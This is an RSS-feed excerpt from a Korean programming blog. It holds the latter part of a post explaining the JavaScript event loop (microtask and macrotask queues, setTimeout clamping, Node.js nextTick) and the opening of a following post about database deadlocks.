&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;console.log(&quot;1&quot;)   ← 스택에 올라감 → 실행 → 빠짐
console.log(&quot;4&quot;)   ← 스택에 올라감 → 실행 → 빠짐&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;스택이 비어 있어야 다음 일을 시작할 수 있습니다.&lt;/strong&gt; 그래서 무거운 반복문이 돌면 그동안 화면이 멈춥니다. 클릭도 안 먹습니다. 스택이 안 비니까요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;그럼 비동기는 누가 하나&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;setTimeout&lt;/code&gt;은 자바스크립트가 세지 않습니다. &lt;strong&gt;브라우저(또는 Node)가 셉니다.&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;setTimeout(fn, 0)
  → 자바스크립트: &quot;이거 0ms 뒤에 불러 줘&quot; 하고 넘김
  → 브라우저: 타이머를 셈  (여긴 자바스크립트 밖입니다)
  → 다 세면: fn 을 큐에 넣음   ← 실행이 아니라 줄 세우기&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;여기가 오해가 시작되는 지점입니다. &lt;strong&gt;타이머가 끝나도 함수가 바로 실행되지 않습니다.&lt;/strong&gt; 줄에 설 뿐입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;줄이 두 개입니다&lt;/h2&gt;
&lt;p&gt;그리고 그 줄이 하나가 아닙니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;큐&lt;/th&gt;
&lt;th&gt;여기 들어가는 것&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;마이크로태스크 큐&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Promise.then&lt;/code&gt; · &lt;code class=&quot;language-text&quot;&gt;catch&lt;/code&gt; · &lt;code class=&quot;language-text&quot;&gt;finally&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;queueMicrotask&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;MutationObserver&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;매크로태스크 큐&lt;/strong&gt;(태스크 큐)&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;setTimeout&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;setInterval&lt;/code&gt;, I/O, 클릭 같은 UI 이벤트&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;이벤트 루프의 규칙은 이렇습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;1. 콜 스택이 빌 때까지 기다린다
2. 마이크로태스크 큐를 전부 비운다   ← 하나가 아니라 전부
3. 매크로태스크를 딱 하나 꺼내 실행한다
4. 다시 2번으로&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;2번이 3번보다 먼저이고, &quot;전부&quot;입니다.&lt;/strong&gt; 그래서 &lt;code class=&quot;language-text&quot;&gt;Promise.then&lt;/code&gt;이 &lt;code class=&quot;language-text&quot;&gt;setTimeout(0)&lt;/code&gt;을 항상 앞섭니다.&lt;/p&gt;
&lt;p&gt;이제 처음 퀴즈를 다시 보시면 이렇게 흘러갑니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;순서&lt;/th&gt;
&lt;th&gt;무슨 일이&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;console.log(&quot;1&quot;)&lt;/code&gt; 실행 → &lt;strong&gt;1&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;setTimeout&lt;/code&gt; → 브라우저에 넘김&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;Promise.then&lt;/code&gt; → 마이크로태스크 큐로&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;console.log(&quot;4&quot;)&lt;/code&gt; 실행 → &lt;strong&gt;4&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;스택이 빔 → 마이크로태스크 전부 → &lt;strong&gt;3&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;그제서야 매크로태스크 하나 → &lt;strong&gt;2&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;setTimeout(0)은 0ms가 아닙니다&lt;/h2&gt;
&lt;p&gt;두 가지 이유로 그렇습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;하나, 줄을 서야 합니다.&lt;/strong&gt; 앞에서 본 그대로입니다. 스택이 비고 마이크로태스크가 다 끝난 뒤에야 차례가 옵니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;둘, 브라우저가 하한을 겁니다.&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;setTimeout&lt;/code&gt;이 &lt;strong&gt;5단계 이상 중첩&lt;/strong&gt;되면 브라우저는 최소 지연을 &lt;strong&gt;4ms&lt;/strong&gt;로 올립니다. HTML 표준에 있는 동작입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// 이런 재귀는 5번째부터 4ms 로 눌립니다&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;tick&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;n &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt;
  &lt;span class=&quot;token function&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;tick&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;n &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&quot;0ms니까 즉시&quot;라는 가정으로 짠 코드는 이 지점에서 어긋납니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마이크로태스크는 굶길 수 있습니다&lt;/h2&gt;
&lt;p&gt;규칙 2번이 &lt;strong&gt;&quot;전부 비운다&quot;&lt;/strong&gt; 라는 게 위험할 때가 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;loop&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  Promise&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;loop&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 마이크로태스크가 자기를 또 넣는다&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;loop&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;마이크로태스크 큐가 &lt;strong&gt;영원히 안 비웁니다.&lt;/strong&gt; 그러면 3번(매크로태스크)에 도달하지 못하고, &lt;strong&gt;렌더링도 못 합니다.&lt;/strong&gt; 화면이 완전히 얼어붙습니다.&lt;/p&gt;
&lt;p&gt;같은 걸 &lt;code class=&quot;language-text&quot;&gt;setTimeout&lt;/code&gt;으로 하면 멈추지 않습니다. 매크로태스크는 한 번에 하나씩만 처리하므로 사이사이에 렌더 기회가 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;loop&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token function&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;loop&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 이건 화면이 안 멈춥니다&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;긴 작업을 쪼갤 때 &lt;code class=&quot;language-text&quot;&gt;Promise&lt;/code&gt;가 아니라 &lt;code class=&quot;language-text&quot;&gt;setTimeout&lt;/code&gt;을 쓰는 이유&lt;/strong&gt;가 이것입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;렌더링은 어디에 끼나&lt;/h2&gt;
&lt;p&gt;브라우저는 매크로태스크 하나를 처리하고 마이크로태스크를 비운 뒤, &lt;strong&gt;필요하면 화면을 그립니다.&lt;/strong&gt; 보통 초당 60번 정도입니다.&lt;/p&gt;
&lt;p&gt;그래서 애니메이션을 &lt;code class=&quot;language-text&quot;&gt;setTimeout&lt;/code&gt;으로 돌리면 렌더 시점과 어긋나 끊깁니다. &lt;code class=&quot;language-text&quot;&gt;requestAnimationFrame&lt;/code&gt;은 &lt;strong&gt;렌더 직전에 불리도록&lt;/strong&gt; 예약되므로 이런 어긋남이 없습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;하려는 일&lt;/th&gt;
&lt;th&gt;쓸 것&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;화면 갱신·애니메이션&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;requestAnimationFrame&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;긴 작업 쪼개기&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;setTimeout(fn, 0)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DOM 변경 직후 정리&lt;/td&gt;
&lt;td&gt;마이크로태스크(&lt;code class=&quot;language-text&quot;&gt;queueMicrotask&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;Node.js는 조금 다릅니다&lt;/h2&gt;
&lt;p&gt;원리는 같은데 &lt;strong&gt;단계가 더 잘게 나뉩니다.&lt;/strong&gt; libuv가 여러 페이즈를 돌고, 각 페이즈 사이마다 마이크로태스크를 비웁니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;timers → pending → poll → check(setImmediate) → close&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;그리고 Node에는 마이크로태스크보다 &lt;strong&gt;더 먼저&lt;/strong&gt; 처리되는 줄이 하나 더 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token function&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  process&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;nextTick&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 이게&lt;/span&gt;
  Promise&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;B&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 이것보다 먼저&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// A B&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;그런데 이걸 파일 최상위에 그냥 두면 결과가 갈립니다.&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;위치&lt;/th&gt;
&lt;th&gt;출력&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;콜백 안 (어느 방식이든)&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;A B&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CommonJS 파일 최상위 (&lt;code class=&quot;language-text&quot;&gt;.cjs&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;A B&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ESM 파일 최상위 (&lt;code class=&quot;language-text&quot;&gt;.mjs&lt;/code&gt;)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;B A&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;ESM 모듈은 &lt;strong&gt;평가 자체가 이미 프로미스 잡 안에서&lt;/strong&gt; 일어납니다. 그래서 모듈 본문이 끝나도 곧바로 &lt;code class=&quot;language-text&quot;&gt;nextTick&lt;/code&gt; 체크포인트로 가지 않고, 대기 중이던 마이크로태스크가 먼저 흘러갑니다. Node 24에서 확인한 결과입니다.&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;nextTick&lt;/code&gt;이 먼저라는 규칙 자체는 맞습니다. 다만 &lt;strong&gt;&quot;어느 체크포인트에서 보느냐&quot;&lt;/strong&gt; 가 붙습니다. 최상위에서 실험하면 규칙을 잘못 배웁니다 — 콜백 안에서 테스트하세요.&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;process.nextTick&lt;/code&gt;을 재귀로 돌리면 이벤트 루프가 &lt;strong&gt;아예 진행되지 않습니다.&lt;/strong&gt; 브라우저의 마이크로태스크 굶주림보다 더 강하게 막힙니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;자바스크립트가 싱글 스레드인데 어떻게 동시에 여러 일을 하나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;자바스크립트가 하는 게 아닙니다.&lt;/strong&gt; 타이머·네트워크·파일 읽기는 브라우저나 Node가 자기 스레드에서 처리하고, 끝나면 콜백을 큐에 넣어 줍니다. 자바스크립트는 큐에서 하나씩 꺼내 실행할 뿐이라 여전히 한 번에 하나입니다.&lt;/p&gt;
&lt;h3&gt;&lt;code class=&quot;language-text&quot;&gt;async/await&lt;/code&gt;은 어느 큐에 들어가나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;마이크로태스크입니다.&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;await&lt;/code&gt; 뒤의 코드는 &lt;code class=&quot;language-text&quot;&gt;then&lt;/code&gt;에 넘긴 것과 같게 동작합니다. 그래서 &lt;code class=&quot;language-text&quot;&gt;await&lt;/code&gt; 다음 줄은 &lt;code class=&quot;language-text&quot;&gt;setTimeout(0)&lt;/code&gt;보다 항상 먼저 실행됩니다.&lt;/p&gt;
&lt;h3&gt;그럼 무거운 계산은 어떻게 하나요?&lt;/h3&gt;
&lt;p&gt;쪼개서 &lt;code class=&quot;language-text&quot;&gt;setTimeout&lt;/code&gt;으로 넘기거나, &lt;strong&gt;Web Worker&lt;/strong&gt;로 아예 다른 스레드에 보냅니다. Worker는 별도 스레드라 메인 스택을 막지 않습니다. 다만 DOM에는 접근할 수 없습니다.&lt;/p&gt;
&lt;h3&gt;브라우저마다 순서가 다를 수 있나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;표준으로 정해진 부분은 같습니다.&lt;/strong&gt; 마이크로태스크가 매크로태스크보다 먼저인 것은 어디서나 동일합니다. 다만 타이머의 실제 지연, 여러 타이머 사이의 순서, 렌더 시점 같은 것은 구현과 상황에 따라 달라질 수 있으니 &lt;strong&gt;순서에 의존하는 코드는 쓰지 마세요.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;정리하며&lt;/h2&gt;
&lt;p&gt;두 문장이면 됩니다. &lt;strong&gt;한 번에 하나만 하고, 줄이 두 개다.&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;콜 스택은 하나입니다. &lt;strong&gt;비어야 다음이 시작됩니다&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;타이머는 자바스크립트가 세지 않습니다. 다 세면 &lt;strong&gt;실행이 아니라 줄 세우기&lt;/strong&gt;입니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;마이크로태스크가 항상 먼저이고, 전부 비웁니다.&lt;/strong&gt; 그래서 &lt;code class=&quot;language-text&quot;&gt;Promise&lt;/code&gt;가 &lt;code class=&quot;language-text&quot;&gt;setTimeout(0)&lt;/code&gt;을 이깁니다&lt;/li&gt;
&lt;li&gt;마이크로태스크로 자기를 계속 넣으면 &lt;strong&gt;렌더까지 멈춥니다.&lt;/strong&gt; 쪼갤 땐 &lt;code class=&quot;language-text&quot;&gt;setTimeout&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Node는 페이즈가 더 잘고, &lt;code class=&quot;language-text&quot;&gt;process.nextTick&lt;/code&gt;이 마이크로태스크보다도 먼저입니다&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;처음 퀴즈, 맞히셨나요? &lt;code class=&quot;language-text&quot;&gt;1 4 3 2&lt;/code&gt; 중에 어디서 갈리셨는지 궁금합니다.&lt;/p&gt;
&lt;h3&gt;참고 자료&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://html.spec.whatwg.org/multipage/webappapis.html#event-loops&quot;&gt;HTML Standard — Event loops&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/ko/docs/Web/JavaScript/Event_loop&quot;&gt;MDN — 이벤트 루프&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nodejs.org/en/learn/asynchronous-work/event-loop-timers-and-nexttick&quot;&gt;Node.js — The Node.js Event Loop&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[데드락(교착 상태) — 락을 거는 순서만 통일하면 사라집니다]]></title><description><![CDATA[안녕하세요, 자바파커입니다. 요청이 멈췄습니다. CPU도 한가하고 DB 부하도 평소와 같습니다.
그리고 로그에 이게 찍힙니다.  멈춘 게 아닙니다. 서로를 기다리고 있는 겁니다. 결론부터 말씀드리면 — 데드락은 고리입니다. T1이 T2를 기다리고, T…]]></description><link>https://blog.javapark.kr/deadlock-explained/</link><guid isPermaLink="false">https://blog.javapark.kr/deadlock-explained/</guid><pubDate>Sun, 23 Aug 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/2919892843e81fc254ca4ae36ee57974/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACM0lEQVR42iVSyW7bMBAVWqB26kWiRFLUQlIbtcuL7NiOYzuN47iJszRIiqbNoZcGaC/pB/SQby/dAoPBO8ybN/NmFNDUqEoEYqQNjQOgNzWjqVltGGgkN9za9I6scOXGa5aeseyUJktXzKxwgHhqOIr2ritUMmeJ1QStNwdaQ9UbGu3gGDh9xGXdCU22PL8Kquug2gXlhmey14QEFWQKaKhPn7+9/nn9/evl+fsPq4sDSAPNygynNv1jR8hqSXsQg8dkJLPEcoojOxpgvlfeLM9efr7c7T5df7zuhUXJYqE7me6MTX/pxlsvv4v6T8VkW9ZX6XAj+rLd3I6G2FO0hrYoRs93X1f9w8fzq81orr5t8Q6W5JHpLxxxzrPbsPcln+zK8X1S34jBjueL/8qgBZdZ/XD44aI/ux3OF6Jiui0g7RF/iLkcb82yS6/YZcP76eJ+srippxej6TRIe5AqsEuI7tqQUcQdCYDjQSowK4lfQVqjf3yaboJiLarTqFwE+cRLhnZQGK4CVGue1JeD41nYW6d1SDwGnYjww7jKMJ9G5XHcm9nRyolPnHhli7kVjrEvZWNgK8hgJvII8kwJdBdrFupg3EZUNaXnOaR97ElvxsQfk0BmuWph7Jm8ayoI+6YZEjNAkBuaA1XL6GD9vQ6bwG5Dr2uK/dnc3KAFpPJtUhnylsCyWlDBJGK89P3SJiHSKQIO7JpGa/9tMkgLuh0kzfdU4qtE9vI1K0KUAUs/AH8BZ5pfJdQG+joAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/2919892843e81fc254ca4ae36ee57974/a1b3b/thumbnail.webp 215w,
/static/2919892843e81fc254ca4ae36ee57974/fc700/thumbnail.webp 430w,
/static/2919892843e81fc254ca4ae36ee57974/521f7/thumbnail.webp 860w,
/static/2919892843e81fc254ca4ae36ee57974/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/2919892843e81fc254ca4ae36ee57974/f7886/thumbnail.png 215w,
/static/2919892843e81fc254ca4ae36ee57974/bc750/thumbnail.png 430w,
/static/2919892843e81fc254ca4ae36ee57974/3e3fe/thumbnail.png 860w,
/static/2919892843e81fc254ca4ae36ee57974/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/2919892843e81fc254ca4ae36ee57974/3e3fe/thumbnail.png&apos; alt=&apos;데드락 커버 — 두 트랜잭션이 서로가 쥔 락을 기다리며 고리를 이루는 구조&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;데드락 커버 — 두 트랜잭션이 서로가 쥔 락을 기다리며 고리를 이루는 구조&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;요청이 멈췄습니다. CPU도 한가하고 DB 부하도 평소와 같습니다.
그리고 로그에 이게 찍힙니다.&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;Deadlock found when trying to get lock; try restarting transaction&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
